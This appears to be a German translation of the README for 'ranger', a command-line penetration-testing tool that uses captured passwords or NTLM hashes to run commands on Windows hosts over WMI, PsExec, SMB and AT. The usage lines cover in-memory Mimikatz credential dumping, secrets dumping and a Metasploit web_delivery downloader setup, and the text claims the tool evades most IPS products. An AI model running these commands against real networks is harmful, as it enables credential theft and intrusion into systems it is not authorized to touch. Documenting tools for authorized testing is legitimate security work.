ranger

Ein Werkzeug zur Unterstützung von Sicherheitsexperten beim Zugriff auf und der Interaktion mit entfernten Microsoft Windows-basierten Systemen.

Dieses Projekt wurde mit dem Gedanken konzipiert, dass wir weder den Bogen noch den Pfeil erfunden haben, sondern nur eine effizientere Art der Nutzung.

Ranger ist ein kommandozeilenbasiertes Angriffs- und Penetrationstest-Werkzeug, das die Fähigkeit besitzt, einen instantiierten Katapult-Server zu verwenden, um Fähigkeiten gegen Windows-Systeme auszuliefern. Solange ein Benutzer einen Satz von Anmeldeinformationen oder einen Hash-Satz (NTLM, LM, LM:NTLM) besitzt, kann er auf Systeme zugreifen, die Teil der Vertrauensstellung sind.

Mit dieser Fähigkeit kann ein Sicherheitsexperte Anmeldeinformationen im Klartext aus dem Speicher extrahieren, auf SAM-Tabellen zugreifen, Befehle ausführen, PowerShell-Skripte, Windows-Binärdateien und andere Werkzeuge ausführen. Derzeit umgeht das Werkzeug die Mehrheit der IPS-Herstellerlösungen, es sei denn, sie wurden speziell darauf abgestimmt, es zu erkennen. Das Werkzeug wurde in unseren Heimlaboren entwickelt, um Sicherheitsexperten bei rechtlich und/oder vertraglich unterstützten Aktivitäten zu unterstützen.

Weitere Funktionen werden hinzugefügt, aber derzeit nutzt das Werkzeug die Community-Beiträge aus Repositorys der Teams PowerView, PowerShell Mimikatz und Impacket.

Ranger verwalten:

Installation:

wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh

Update:

ranger --update

Verwendung:

• Ranger verwendet eine Kombination von Methoden und Angriffen, eine Methode dient zur Auslieferung eines Angriffs/Befehls.
• Ein Angriff ist das, was Sie erreichen möchten.
• Einige Elemente sind sowohl Methode als auch Angriff in einem, und manche Methoden können aufgrund aktueller Einschränkungen in den Bibliotheken oder Protokollen einige der Angriffe nicht verwenden.

Methoden & Angriffe:

--scout
--secrets-dump

Methode:

--wmiexec
--psexec
--smbexec
--atexec

Angriff:

--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access

Befehlsausführung:

Angemeldete Benutzer finden:

ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout

SMBEXEC Befehlsshell:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv

PSEXEC Befehlsshell:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv

PSEXEC Befehlsausführung:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv

WMIEXEC Befehlsausführung:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"

WMIEXEC PowerShell Mimikatz Speicherinjektor:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker

WMIEXEC Metasploit web_delivery Speicherinjektor (erfordert Metasploit-Konfiguration, siehe unten):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader

WMIEXEC Benutzerdefinierter Code-Speicherinjektor:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

ATEXEC Befehlsausführung:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder

ATEXEC PowerShell Mimikatz Speicherinjektor:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder

ATEXEC Metasploit web_delivery Speicherinjektor (erfordert Metasploit-Konfiguration, siehe unten):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder

ATEXEC Benutzerdefinierter Code-Speicherinjektor:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder

SECRETSDUMP Benutzerdefinierter Code-Speicherinjektor:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump

Einfügbaren Mimikatz-Angriff erstellen:

ranger.py --invoker -q -v -vv -vvv

Einfügbaren web_delivery-Angriff erstellen (erfordert Metasploit-Konfiguration, siehe unten):

ranger.py --downloader -q -v -vv -vvv

Einfügbaren Executor-Angriff erstellen:

ranger.py --executor -q -v -vv -vvv

Identifizieren von Gruppenmitgliedern und Domänen

• Stellen Sie bei der Identifizierung von Gruppen sicher, dass Sie die tatsächliche Abfragedomäne mit --get-domain-membership bestimmen.
• Wenn Sie dann eine Gruppe abfragen, verwenden Sie die optionale --domain, mit der Sie eine andere Domäne als die, bei der Sie angemeldet sind, anvisieren können.

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"

Hinweise zur Verwendung:

Format der Anmeldedaten-Datei:

• Sie können eine Liste von Benutzernamen und Passwörtern oder Hashes im folgenden Format in derselben Datei übergeben:

username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM  domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain

Einschränkungen der Anmeldedaten-Datei:

• Wenn Sie in der Datei Domänennamen angeben, werden diese anstelle von WORKGROUP verwendet.
• Wenn Sie den Domänennamen über die Befehlszeile mit -d angeben, wird davon ausgegangen, dass Sie alle Domänennamen in der Datei ignorieren möchten.

Befehlszeilenausführung:

• Wenn Sie die Datei nicht verwenden möchten, können Sie die Details direkt über die Befehlszeile übergeben.
• Wenn Sie anstelle von Passwörtern Hashes übergeben möchten, geben Sie diese einfach über das Passwort-Argument ein.
• Wenn sie im PWDUMP-Format sind und Sie keinen Benutzernamen angeben, wird der Benutzername aus dem Hash extrahiert.
• Wenn Sie einen Benutzernamen angeben, wird angenommen, dass derselbe Hash für einen anderen Benutzer gilt.
• Verwenden Sie die folgenden Formate für das Passwort:

password
LM:NTLM
:NTLM
PWDUMP

Ziele und Ausschlüsse:

• Ziele und Ausschlüsse können gleichzeitig verwendet werden

Ziele, Zielbereiche, Ziel-CIDRs, Ziellisten, NMAP-XML-Ziele:

• Sie können eine Liste von Zielen entweder über eine Zielliste oder über die Zieloption bereitstellen.
• Sie können mehrere Ziellistendateien durch Kommas getrennt angeben. Das Werkzeug aggregiert die Daten, entfernt Duplikate und schließt dann Ihre IP-Adresse vom Standard-Interface oder dem von Ihnen angegebenen Interface aus.
• Das Werkzeug akzeptiert CIDR-Notationen, kleine Bereiche (192.168.195.1-100) oder große Bereiche (192.168.194.1-192.163.1.1) oder einzelne IP-Adressen.
• Auch hier einfach durch Kommas getrennt in der Befehlszeile oder in einer durch Zeilenumbrüche getrennten Datei.
• Nmap-XMLs können ebenfalls verwendet werden, um Systeme anzuvisieren; auch dies kann durch Kommas getrennt werden.
• Das Werkzeug normalisiert und entfernt Duplikate, bevor es Boxen anvisiert.
• BEISPIEL: -t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xml

Ausschlüsse, Ausschlussbereiche, Ausschluss-CIDRs, Ausschlusslisten, Nmap-XML-Ausschlüsse:

• Sie können Ziele auch mit den Ausschlussargumenten ausschließen. Wenn Sie also ein kleines Class-C aus einem Class-A nicht berühren, wird das für Sie herausgefunden.
• Ausschlüsse können auf genau die gleiche Weise wie Ziele durchgeführt werden; ersetzen Sie einfach das t in den Befehlen durch e.
• BEISPIEL: -e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml

Intrusion Protection Systems (IPS):

• Mimikatz, Downloader und Executor verwenden PowerShell-Speicherinjektion, indem sie andere Dienste und Protokolle aufrufen.
• Die Befehle sind doppelt kodiert und umgehen aktuelle IPS-Lösungen (sogar Next-Gen), sofern sie nicht speziell darauf abgestimmt sind, diese Angriffe zu erkennen.
• ATEXEC ist der einzige, der derzeit auf der Festplatte landet und nicht kodiert; ich habe noch einige Umschreibungen zu erledigen.

Invoker-Angriffe:

• Führt das PowerShell-Mimikatz auf der Ziel-Box aus.
• Standardmäßig wird die Funktion / das Cmdlet auf Invoke-Mimikatz gesetzt, was mit -f geändert werden kann.
• Standardmäßig werden die Argumente auf DumpCreds gesetzt, was mit -a geändert werden kann.
• Invoker erfordert sowohl die Optionen -f als auch -a, wenn Sie den Befehl ändern möchten; um die Verwendung von -a zu vermeiden, können Sie Executor verwenden.
• BEISPIEL: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"

Executor-Angriffe:

• Ermöglicht die Ausführung von Binärdateien und/oder PowerShell-Skripten auf Ziel-Boxen.
• Muss sich im aktuellen Verzeichnis befinden, in dem sich das Skript oder die Binärdatei auf Ihrer Angriffs-Box befindet.
• Das Skript oder die Binärdatei wird direkt in den Speicher injiziert.
• Erfordert, dass die Nutzlast (Binärdatei oder Skript) mit -x identifiziert wird.
• Erfordert, dass die Funktion / das Cmdlet / die Argumente mit -f definiert werden.
• Optional können Sie den Befehl mit -a weiter definieren, falls das Werkzeug dies erfordert.
• BEISPIEL 1: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
• BEISPIEL 2: -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds

Downloader (web_delivery)-Angriffe:

• Um Metasploit für den web_delivery-Exploit einzurichten, starten Sie Metasploit und konfigurieren Sie den Exploit entsprechend den folgenden Bedingungen.

use exploit/multi/script/web_delivery
set targets 2
set payload <choose your desired payload>
set lhost <your IP>
set lport <port for the shell make sure it is not a conflicting port>
set URIPATH /
set SRVPORT <the same as what is set by the -r option in ranger, defaults to 8888>
exploit -j

##FAQ

Zugriff verweigert Fehler für SMBEXEC und WMIEXEC

Ich erhalte Zugriff verweigert Fehler auf Windows-Maschinen, die Teil einer WORKGROUP sind.

Wenn Sie nicht Teil einer Domäne sind, hat Windows standardmäßig keine administrativen Freigaben. SMBEXEC ist auf aktivierte Freigaben angewiesen. Außerdem ist WMIC auf WORKGROUP-Maschinen nicht aktiviert. SMBEXEC und WMIEXEC wurden entwickelt, um Protokolle anzugreifen, die auf Domänensystemen aktiviert sind. Es ist zwar möglich, diese Funktionen auf einem WORKGROUP-System zu aktivieren, aber beachten Sie, dass Sie damit anfällige Protokolle einführen (schließlich ist das das, wofür dieses Werkzeug entwickelt wurde). Die Aktivierung dieser Funktionen auf Ihrem primären Heimrechner, den Ihr Partner auch für Facebook nutzt, ist wahrscheinlich keine gute Idee.

• Stellen Sie sicher, dass dies eine Test-Box ist, die Ihnen gehört. Sie können die Freigaben erzwingen, indem Sie den Anweisungen hier folgen: http://www.wintips.org/how-to-enable-admin-shares-windows-7/
• Wenn Sie herausfinden möchten, welche Freigaben verfügbar sind, und diese dann anvisieren, können Sie ein Werkzeug wie enum4linux verwenden und dann das Argument --share share_name in Ranger, um SMBEXEC auszuführen.

Zukünftige Funktionen:

Farbige Ausgabe:

• Weiterhin farbige Ausgabe mit https://pypi.python.org/pypi/colorama hinzufügen
• WINDOWER – PowerShell ausführen, ohne das Fenster zu verstecken, um bestimmte Überwachungssysteme zu umgehen
• GATHERER – Automatischer Extraktor für Anmeldeinformationen einer Domänengruppe
• HUNTER – Semi-Intelligente Entscheidung (SID) – Identifiziert einen Eskalationspfad basierend auf Gruppenmitgliedschaftsähnlichkeiten mittels Klassifikationsbäumen
• Bessere NTDS- und Gruppen-Parsing
• SMB-Katapult-Server

#Dankeschön:

• An Microsoft für PowerShell (und im Voraus für bash in Windows!)
• An das CoreLabs Impacket Team
• Das PowerShellEmpire Team
• Mattifestation für den Start von PowerSploit und PowerShellMafia sowie die Mitwirkenden, die es weiterentwickeln
• Unsere Freunde und die Community für die konstruktive Gemeinschaft

Vorgestellt auf:

[BSides Charm City 2016: 23. April 2016] (http://2016.bsidescharm.com/2016-talks/ranger-it-just-takes-one-account-to-take-down-an-enterprise)

Video der Präsentation:

[Video] (https://youtu.be/HrXTrPzdR2Q?list=PL0YXeUocWA4NAGPmYdKNmQEh8H6iL_4Ik)

Distributionen, in denen das Werkzeug enthalten ist:

[Black Arch Linux] (https://blackarch.org/)